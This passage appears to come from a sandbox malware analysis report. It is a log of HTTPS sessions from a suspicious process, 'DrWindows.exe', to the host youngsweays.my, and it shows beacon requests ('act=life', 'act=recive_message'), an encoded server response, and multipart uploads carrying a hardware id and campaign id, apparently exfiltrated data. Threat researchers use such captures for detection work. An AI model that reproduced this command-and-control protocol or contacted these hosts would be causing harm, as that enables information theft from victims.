31 37 2c 20 31 30 37 2c 20 31 32 31 2c 20 35 32 Data Ascii: 121, 75, 52, 116, 70, 89, 82, 67, 73, 75, 107, 106, 48, 90, 109, 104, 104, 104, 82, 104, 82, 114, 84, 72, 82, 80, 53, 47, 85, 73, 67, 65, 120, 118, 77, 110, 116, 88, 80, 97, 118, 65, 99, 104, 43, 116, 121, 118, 82, 81, 70, 121, 112, 88, 117, 107, 121, 52

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.17	49738	104.21.80.1	443	7464	C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 11:49:36 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: youngsweays.my
2024-12-10 11:49:36 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-10 11:49:37 UTC	1012	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 11:49:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ju3qu9ji2hjj4jvl5s9alaof4u; expires=Sat, 05-Apr-2025 05:36:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8kyEAohBerFEa1eDLHUjKqzi4RPAnXuabItW3Sz9bWOfUgsgH9IaHzZwr7YvzkhRxDFj0tt2FvYqiEZ2M4SKWpWewOC%2FtgjNJtkWs0ETGCBY%2BOsNtiEkPyHBgIZ3lFIFAA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efd0338ea25421c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1703&min_rtt=1701&rtt_var=642&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=905&delivery_rate=1699650&cwnd=252&unsent_bytes=0&cid=bd45e2c4b16d8e15&ts=1238&x=0"
2024-12-10 11:49:37 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-10 11:49:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.17	49739	104.21.80.1	443	7464	C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 11:49:39 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 48 Host: youngsweays.my
2024-12-10 11:49:39 UTC	48	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 4a 45 63 61 47 2d 2d 73 69 6e 67 6c 32 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=yJEcaG--singl2&j=
2024-12-10 11:49:40 UTC	1009	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 11:49:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=38i4tg16iclj6i6vi9209btv3h; expires=Sat, 05-Apr-2025 05:36:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=krtucsJpP097tiVpMqoAFAG7pHm41hN4WmBaInZlJgy2IlqyxRNM%2BsFnMzMN6jRl1u43JB3Tw3npEbhXO9fvYLVSxafxk549Qvi5U861nYN2BI8sXCLC7KHOg0Dhqd5o5A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efd034b0e09434f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1559&min_rtt=1554&rtt_var=594&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=946&delivery_rate=1823860&cwnd=209&unsent_bytes=0&cid=46827d33871a8ba4&ts=759&x=0"
2024-12-10 11:49:40 UTC	360	IN	Data Raw: 34 65 30 0d 0a 72 31 31 49 2f 62 38 79 68 57 71 32 74 54 55 4a 2b 70 69 50 54 6c 57 78 6b 57 44 59 6d 30 57 78 62 74 4f 5a 50 6a 54 57 78 54 62 55 66 7a 37 66 68 51 61 70 53 4d 58 51 46 7a 4f 4f 36 76 6f 72 65 5a 50 77 42 50 71 68 49 39 41 43 6f 50 77 53 46 71 43 6f 46 4a 55 37 4b 5a 48 4d 56 36 6c 49 30 38 30 58 4d 36 48 6a 72 53 73 37 6b 36 74 43 76 66 45 6e 30 41 4b 78 2b 46 56 62 70 71 6c 56 78 7a 45 76 6c 64 70 52 34 51 76 61 32 46 42 73 6e 2f 6e 6c 49 44 7a 63 2b 51 33 36 74 32 66 55 46 50 47 6a 48 48 6d 7a 73 56 66 69 50 44 75 57 6e 55 2b 70 45 5a 54 51 57 79 76 41 75 75 34 72 4e 39 33 33 42 4c 50 7a 4c 64 6b 4b 73 50 31 55 52 4c 2b 6a 58 73 63 2f 4c 4a 54 51 57 50 55 47 30 4e 39 62 61 70 58 35 72 57 4a 33 31 4f 74 43 34 72 6c 30 34 51 2b 67 36 6b Data Ascii: 4e0r11I/b8yhWq2tTUJ+piPTlWxkWDYm0WxbtOZPjTWxTbUfz7fhQapSMXQFzOO6voreZPwBPqhI9ACoPwSFqCoFJU7KZHMV6lI080XM6HjrSs7k6tCvfEn0AKx+FVbpqlVxzEvldpR4Qva2FBsn/nlIDzc+Q36t2fUFPGjHHmzsVfiPDuWnU+pEZTQWyvAuu4rN933BLPzLdkKsP1URL+jXsc/LJTQWPUG0N9bapX5rWJ31OtC4rl04Q+g6k
2024-12-10 11:49:40 UTC	895	IN	Data Raw: 63 62 6f 72 78 35 43 45 36 30 2f 34 49 74 66 6f 6e 31 41 61 37 39 46 5a 53 75 61 70 53 7a 54 39 71 30 5a 31 58 2f 30 69 4d 6c 33 52 75 69 50 33 68 4f 6e 58 70 73 78 33 30 34 47 66 55 41 50 47 6a 48 46 36 78 70 46 66 47 4d 43 6d 58 31 6b 4c 6e 47 74 4c 61 55 6e 6d 65 2f 2b 4d 6d 4e 4d 48 35 44 4c 7a 36 4c 74 67 46 74 50 78 59 46 76 72 6e 55 39 56 2f 63 74 2f 38 58 65 77 45 33 73 42 58 4b 34 65 30 39 47 77 77 33 37 4e 61 2b 76 30 6d 31 77 32 31 39 56 4a 53 75 4b 46 61 77 44 41 73 6c 64 31 58 37 51 44 63 31 6c 70 67 6c 2f 72 6f 49 54 50 56 2f 77 4f 2f 75 57 6d 54 43 36 6d 37 42 42 61 61 6f 46 66 66 66 52 2b 63 30 31 37 67 48 70 54 49 47 58 4c 59 2f 65 46 73 62 35 50 39 42 37 58 72 4a 73 45 4a 76 2b 6c 51 55 37 4b 71 56 38 4d 2f 4c 35 6a 51 58 75 45 50 31 39 Data Ascii: cborx5CE60/4Itfon1Aa79FZSuapSzT9q0Z1X/0iMl3RuiP3hOnXpsx304GfUAPGjHF6xpFfGMCmX1kLnGtLaUnme/+MmNMH5DLz6LtgFtPxYFvrnU9V/ct/8XewE3sBXK4e09Gww37Na+v0m1w219VJSuKFawDAsld1X7QDc1lpgl/roITPV/wO/uWmTC6m7BBaaoFfffR+c017gHpTIGXLY/eFsb5P9B7XrJsEJv+lQU7KqV8M/L5jQXuEP19
2024-12-10 11:49:40 UTC	1369	IN	Data Raw: 34 34 33 63 0d 0a 33 74 39 66 61 35 58 37 35 69 51 78 33 76 67 4e 74 66 34 76 30 41 43 30 39 6c 38 57 2b 75 64 54 31 58 39 79 33 2f 68 65 35 42 6e 46 6c 57 4a 6f 6c 76 54 71 4f 6e 66 4d 76 52 76 36 2f 69 75 54 56 50 48 78 57 31 47 77 71 6c 37 4f 4f 79 36 53 30 6c 6e 75 41 63 62 64 57 32 57 4b 39 2b 63 70 4f 64 2f 32 44 62 72 34 4a 74 30 47 75 72 73 53 46 72 4f 2f 46 4a 56 2f 42 5a 4c 4e 51 75 30 44 78 5a 56 69 61 4a 62 30 36 6a 70 33 7a 4c 30 62 2b 76 34 72 6b 31 54 78 38 46 70 61 75 4b 64 53 33 7a 45 6c 6a 64 64 43 34 77 62 51 32 31 6c 69 6c 66 58 6f 50 6a 50 54 34 51 4f 2f 2f 69 6e 65 48 72 53 37 45 68 61 7a 76 78 53 56 66 78 43 72 32 6b 44 32 44 35 62 69 56 47 57 57 2f 66 74 73 4b 4a 33 71 51 72 33 31 5a 34 74 4d 73 76 64 52 58 37 47 6f 52 73 63 7a 4b Data Ascii: 443c3t9fa5X75iQx3vgNtf4v0AC09l8W+udT1X9y3/he5BnFlWJolvTqOnfMvRv6/iuTVPHxW1Gwql7OOy6S0lnuAcbdW2WK9+cpOd/2Dbr4Jt0GursSFrO/FJV/BZLNQu0DxZViaJb06jp3zL0b+v4rk1Tx8FpauKdS3zEljddC4wbQ21lilfXoPjPT4QO//ineHrS7EhazvxSVfxCr2kD2D5biVGWW/ftsKJ3qQr31Z4tMsvdRX7GoRsczK
2024-12-10 11:49:40 UTC	1369	IN	Data Raw: 69 42 74 44 64 55 6d 2b 55 38 4f 30 70 4a 64 76 31 42 62 62 78 49 74 77 4b 74 50 5a 62 58 62 65 31 52 73 34 37 4a 4a 4f 64 48 71 63 50 7a 4a 63 50 4b 37 33 74 37 6a 77 78 30 4c 4d 64 39 4f 42 6e 31 41 44 78 6f 78 78 57 75 71 74 66 79 6a 51 68 6d 39 6c 51 36 67 50 61 32 56 35 6e 6b 50 62 71 50 6a 72 57 2b 77 69 7a 2f 43 76 65 44 36 50 34 58 52 62 36 35 31 50 56 66 33 4c 66 2b 6d 50 51 4b 35 54 49 47 58 4c 59 2f 65 46 73 62 35 50 79 43 72 33 33 49 38 45 43 6f 2f 56 62 56 72 4b 76 58 4d 6f 7a 4a 4a 48 50 57 4f 59 49 32 74 68 66 59 70 7a 37 36 53 67 37 31 4c 4e 4d 2b 76 34 2f 6b 31 54 78 30 31 39 4d 72 75 56 36 78 6a 38 74 6a 38 74 4c 70 78 65 61 7a 68 64 73 6c 4c 71 31 62 44 50 59 2b 51 75 35 38 43 50 65 44 4c 6a 30 56 56 36 35 72 30 62 4d 4e 54 69 62 32 46 Data Ascii: iBtDdUm+U8O0pJdv1BbbxItwKtPZbXbe1Rs47JJOdHqcPzJcPK73t7jwx0LMd9OBn1ADxoxxWuqtfyjQhm9lQ6gPa2V5nkPbqPjrW+wiz/CveD6P4XRb651PVf3Lf+mPQK5TIGXLY/eFsb5PyCr33I8ECo/VbVrKvXMozJJHPWOYI2thfYpz76Sg71LNM+v4/k1Tx019MruV6xj8tj8tLpxeazhdslLq1bDPY+Qu58CPeDLj0VV65r0bMNTib2F
2024-12-10 11:49:40 UTC	1369	IN	Data Raw: 31 46 39 6d 6d 2f 4c 2f 4c 44 72 54 34 52 43 38 38 69 6d 54 51 76 48 38 52 42 62 73 35 32 58 61 4e 47 71 41 6b 30 6d 6e 44 39 69 58 44 79 75 62 38 4f 41 69 4a 64 66 31 43 62 6e 33 4c 39 59 45 74 66 46 52 57 62 2b 74 58 63 55 2f 4a 5a 72 56 57 2b 45 47 31 64 46 62 5a 74 69 30 72 53 73 76 6b 36 74 43 6e 65 4d 71 31 52 75 67 7a 6c 74 57 35 65 64 4c 67 79 5a 71 6d 4e 45 51 76 30 6a 5a 32 31 31 6d 6e 66 37 6c 4b 7a 54 53 2f 77 61 33 39 43 50 61 43 4c 54 70 54 6c 43 36 70 31 76 44 4d 43 61 4e 30 31 58 6e 42 4a 53 5a 46 32 79 41 75 72 56 73 42 73 54 7a 51 71 57 33 50 70 4d 4c 76 62 73 45 46 72 75 71 52 73 45 77 4b 70 37 65 56 4f 77 50 30 74 46 57 61 4a 33 35 36 43 6f 32 30 2f 38 49 76 66 45 74 33 51 47 33 2f 31 70 51 39 4f 6b 55 79 69 64 71 78 35 31 69 36 67 62 Data Ascii: 1F9mm/L/LDrT4RC88imTQvH8RBbs52XaNGqAk0mnD9iXDyub8OAiJdf1Cbn3L9YEtfFRWb+tXcU/JZrVW+EG1dFbZti0rSsvk6tCneMq1RugzltW5edLgyZqmNEQv0jZ211mnf7lKzTS/wa39CPaCLTpTlC6p1vDMCaN01XnBJSZF2yAurVsBsTzQqW3PpMLvbsEFruqRsEwKp7eVOwP0tFWaJ356Co20/8IvfEt3QG3/1pQ9OkUyidqx51i6gb
2024-12-10 11:49:40 UTC	1369	IN	Data Raw: 35 66 39 35 53 4d 7a 30 2f 78 43 39 4c 6b 67 79 30 7a 70 75 33 78 64 6f 6f 5a 61 78 69 31 71 67 4a 4e 4a 70 77 2f 59 6c 77 38 72 6c 76 50 73 4a 44 6e 66 2b 77 61 6f 2b 53 7a 61 41 37 44 30 58 46 57 31 72 56 7a 66 4f 53 71 55 31 56 66 76 44 4e 72 46 56 6d 54 59 74 4b 30 72 4c 35 4f 72 51 6f 76 76 49 4e 51 44 38 39 4a 62 54 62 57 74 56 38 59 7a 61 6f 43 54 53 61 63 50 32 4a 63 50 4b 35 58 32 34 43 67 6c 33 2f 4d 43 73 2f 34 74 77 51 4f 2b 39 6c 39 57 73 62 56 56 33 7a 41 68 6d 74 35 55 36 41 66 59 33 31 30 72 31 72 72 71 4e 48 65 4c 73 79 36 35 36 43 32 52 4b 36 76 74 57 31 71 6c 72 46 6e 42 66 7a 58 52 78 42 44 67 42 4a 53 50 46 32 75 5a 39 2f 38 70 4e 74 6e 35 44 37 4c 32 49 74 59 44 74 66 39 58 57 4b 61 70 57 38 30 35 49 5a 37 59 55 2b 77 43 32 74 35 46 Data Ascii: 5f95SMz0/xC9Lkgy0zpu3xdooZaxi1qgJNJpw/Ylw8rlvPsJDnf+wao+SzaA7D0XFW1rVzfOSqU1VfvDNrFVmTYtK0rL5OrQovvINQD89JbTbWtV8YzaoCTSacP2JcPK5X24Cgl3/MCs/4twQO+9l9WsbVV3zAhmt5U6AfY310r1rrqNHeLsy656C2RK6vtW1qlrFnBfzXRxBDgBJSPF2uZ9/8pNtn5D7L2ItYDtf9XWKapW805IZ7YU+wC2t5F
2024-12-10 11:49:40 UTC	1369	IN	Data Raw: 67 6b 4e 4e 62 32 43 4c 62 31 4a 74 73 46 75 2f 35 5a 55 4c 36 6b 57 73 49 2b 4a 70 76 55 58 75 35 49 6d 70 64 51 63 39 69 69 72 52 6f 6e 31 4f 73 50 71 72 73 56 30 42 32 67 37 6c 46 47 73 75 56 37 7a 6a 4d 70 6d 74 70 41 70 78 65 61 7a 68 64 73 6c 4c 71 31 62 44 66 58 2f 77 47 39 39 79 6a 65 41 37 62 77 55 31 79 36 74 56 76 49 4e 79 61 58 30 45 4c 74 41 73 62 65 58 6d 61 57 38 76 38 76 64 35 32 7a 42 61 4b 35 66 35 4d 2b 75 2f 68 51 51 4c 6d 6f 46 4e 4a 78 4d 39 2f 61 58 4b 64 51 6c 4d 56 46 61 35 50 36 36 69 49 6c 30 76 73 4e 73 50 6b 68 32 41 61 79 38 6c 68 59 76 61 46 56 77 44 34 72 6e 39 68 51 37 68 72 5a 6c 78 6b 72 6e 2b 4b 74 64 48 66 6b 2f 77 6d 4c 2b 6a 47 54 45 2f 2f 69 48 46 47 34 35 77 79 4e 50 6a 69 53 31 56 54 6e 42 64 4c 63 56 6d 71 62 2b Data Ascii: gkNNb2CLb1JtsFu/5ZUL6kWsI+JpvUXu5ImpdQc9iirRon1OsPqrsV0B2g7lFGsuV7zjMpmtpApxeazhdslLq1bDfX/wG99yjeA7bwU1y6tVvINyaX0ELtAsbeXmaW8v8vd52zBaK5f5M+u/hQQLmoFNJxM9/aXKdQlMVFa5P66iIl0vsNsPkh2Aay8lhYvaFVwD4rn9hQ7hrZlxkrn+KtdHfk/wmL+jGTE//iHFG45wyNPjiS1VTnBdLcVmqb+
2024-12-10 11:49:40 UTC	1369	IN	Data Raw: 54 71 30 4c 39 2b 6a 58 42 43 72 4c 74 58 78 47 4b 6d 58 54 47 4b 53 75 53 31 6c 7a 5a 4e 73 48 55 57 57 57 66 37 50 78 73 65 5a 50 38 51 75 4c 41 5a 35 74 4d 6a 72 55 63 54 76 54 2f 46 50 67 38 4a 4a 48 61 52 76 5a 46 39 4e 78 42 61 70 58 78 34 57 34 32 33 75 4d 46 2b 72 64 6e 31 55 7a 70 71 78 49 57 73 4c 59 55 6c 57 39 34 78 49 67 44 73 46 69 47 79 42 6c 79 32 4f 79 74 64 47 57 64 73 78 44 36 6f 57 65 55 44 36 50 70 57 6c 57 69 70 42 50 7a 41 51 71 55 30 56 50 72 43 64 4f 58 47 53 75 58 75 72 55 56 64 39 44 68 45 50 58 6f 4d 64 34 63 74 72 64 55 52 37 6d 72 46 49 4e 2f 5a 70 76 57 58 4f 49 50 78 4a 68 46 65 35 50 32 2b 32 41 7a 77 62 4e 4d 2b 75 67 73 33 42 36 2f 2f 42 4e 48 6f 71 70 45 7a 6a 6f 74 30 39 56 42 36 67 53 55 6d 52 64 2b 6b 2f 62 72 49 53 Data Ascii: Tq0L9+jXBCrLtXxGKmXTGKSuS1lzZNsHUWWWf7PxseZP8QuLAZ5tMjrUcTvT/FPg8JJHaRvZF9NxBapXx4W423uMF+rdn1UzpqxIWsLYUlW94xIgDsFiGyBly2OytdGWdsxD6oWeUD6PpWlWipBPzAQqU0VPrCdOXGSuXurUVd9DhEPXoMd4ctrdUR7mrFIN/ZpvWXOIPxJhFe5P2+2AzwbNM+ugs3B6//BNHoqpEzjot09VB6gSUmRd+k/brIS
2024-12-10 11:49:40 UTC	1369	IN	Data Raw: 38 72 55 32 77 41 4b 36 37 56 73 57 69 2b 6b 55 31 58 39 79 33 2b 68 54 36 51 62 54 77 55 59 6d 76 76 6e 71 4b 6a 54 64 35 42 50 36 74 32 66 56 54 4f 6d 70 45 68 61 77 74 68 53 56 62 33 6a 45 69 41 4f 77 57 49 62 49 47 58 4c 59 37 4b 31 30 5a 4a 32 7a 45 50 71 68 5a 35 51 43 76 50 70 66 57 4c 65 31 52 73 73 38 50 4a 79 61 62 74 6b 74 32 64 70 53 5a 5a 2f 45 30 77 30 39 77 2f 34 4e 76 63 63 5a 35 42 32 32 36 78 35 77 74 37 46 58 6a 58 46 71 68 35 30 49 70 79 6e 65 78 31 70 6b 6e 37 71 6a 62 44 4f 54 71 30 4b 66 39 43 72 57 41 72 61 35 66 56 79 6b 71 6c 76 4b 66 32 54 66 30 52 43 2f 53 4e 58 64 52 32 61 58 2f 61 45 72 4c 64 53 7a 54 50 72 33 5a 34 74 4d 73 50 46 4d 57 37 75 67 47 4d 73 78 4a 4e 2f 43 48 76 35 49 77 70 63 50 4f 4e 61 36 2f 32 78 76 6b 37 51 Data Ascii: 8rU2wAK67VsWi+kU1X9y3+hT6QbTwUYmvvnqKjTd5BP6t2fVTOmpEhawthSVb3jEiAOwWIbIGXLY7K10ZJ2zEPqhZ5QCvPpfWLe1Rss8PJyabtkt2dpSZZ/E0w09w/4NvccZ5B226x5wt7FXjXFqh50Ipynex1pkn7qjbDOTq0Kf9CrWAra5fVykqlvKf2Tf0RC/SNXdR2aX/aErLdSzTPr3Z4tMsPFMW7ugGMsxJN/CHv5IwpcPONa6/2xvk7Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.17	49742	104.21.80.1	443	7464	C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 11:49:43 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KKSYJ2NXPH9F61EMZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 11993 Host: youngsweays.my
2024-12-10 11:49:43 UTC	11993	OUT	Data Raw: 2d 2d 4b 4b 53 59 4a 32 4e 58 50 48 39 46 36 31 45 4d 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 41 32 44 37 36 30 37 38 36 36 32 44 37 37 42 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 4b 4b 53 59 4a 32 4e 58 50 48 39 46 36 31 45 4d 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4b 4b 53 59 4a 32 4e 58 50 48 39 46 36 31 45 4d 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 45 63 61 47 2d 2d 73 69 6e 67 6c 32 0d 0a Data Ascii: --KKSYJ2NXPH9F61EMZContent-Disposition: form-data; name="hwid"9A2D76078662D77B23D904AF30EFEBBC--KKSYJ2NXPH9F61EMZContent-Disposition: form-data; name="pid"2--KKSYJ2NXPH9F61EMZContent-Disposition: form-data; name="lid"yJEcaG--singl2
2024-12-10 11:49:44 UTC	1020	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 11:49:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qin9v5f9sehlgn86eh5f6ri3jm; expires=Sat, 05-Apr-2025 05:36:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ceJW98wtlCur6rtnSYKjOgOnsWidFmw68soBxKNZ18H2Pib%2F8B%2Fe%2F6wiy791L9OhdqV3Itp%2Bdvb3MIb0nvmplQzwvxsofKlnQn1a%2BHtRVxzrsSgnOUQ6ZYulMT939SnRTg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efd03635a318c6b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1922&min_rtt=1913&rtt_var=736&sent=8&recv=16&lost=0&retrans=0&sent_bytes=2835&recv_bytes=12930&delivery_rate=1468074&cwnd=144&unsent_bytes=0&cid=6c5c934a9f134600&ts=811&x=0"
2024-12-10 11:49:44 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-12-10 11:49:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.17	49743	104.21.80.1	443	7464	C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 11:49:47 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3VWYDZUKNDCJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15037 Host: youngsweays.my
2024-12-10 11:49:47 UTC	15037	OUT	Data Raw: 2d 2d 33 56 57 59 44 5a 55 4b 4e 44 43 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 41 32 44 37 36 30 37 38 36 36 32 44 37 37 42 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 33 56 57 59 44 5a 55 4b 4e 44 43 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 33 56 57 59 44 5a 55 4b 4e 44 43 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 45 63 61 47 2d 2d 73 69 6e 67 6c 32 0d 0a 2d 2d 33 56 57 59 44 5a 55 4b 4e 44 43 4a 0d Data Ascii: --3VWYDZUKNDCJContent-Disposition: form-data; name="hwid"9A2D76078662D77B23D904AF30EFEBBC--3VWYDZUKNDCJContent-Disposition: form-data; name="pid"2--3VWYDZUKNDCJContent-Disposition: form-data; name="lid"yJEcaG--singl2--3VWYDZUKNDCJ
2024-12-10 11:49:49 UTC	1020	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 11:49:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=saojift2t4tfqfe6qdarj03vg2; expires=Sat, 05-Apr-2025 05:36:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=INRjRn2mDI07v%2Bz9%2BMCuY9821aqs%2BVeWjcy7JoA00hlurmtrf%2BYZItSdyTRNSIDDU9jjw5gnU3RgUQ54olP6O2LmFAcF2WtZdcXGkfNLNr7AMBNyeWIdCBi4Cy3aw5n1Tg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efd037f6b7ade98-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1533&min_rtt=1465&rtt_var=598&sent=12&recv=20&lost=0&retrans=0&sent_bytes=2834&recv_bytes=15969&delivery_rate=1993174&cwnd=208&unsent_bytes=0&cid=800a20b98c227666&ts=1123&x=0"
2024-12-10 11:49:49 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-12-10 11:49:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.17	49744	104.21.80.1	443	7464	C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 11:49:51 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=J0LHH1Z46 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20360 Host: youngsweays.my
2024-12-10 11:49:51 UTC	15331	OUT	Data Raw: 2d 2d 4a 30 4c 48 48 31 5a 34 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 41 32 44 37 36 30 37 38 36 36 32 44 37 37 42 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 4a 30 4c 48 48 31 5a 34 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4a 30 4c 48 48 31 5a 34 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 45 63 61 47 2d 2d 73 69 6e 67 6c 32 0d 0a 2d 2d 4a 30 4c 48 48 31 5a 34 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 Data Ascii: --J0LHH1Z46Content-Disposition: form-data; name="hwid"9A2D76078662D77B23D904AF30EFEBBC--J0LHH1Z46Content-Disposition: form-data; name="pid"3--J0LHH1Z46Content-Disposition: form-data; 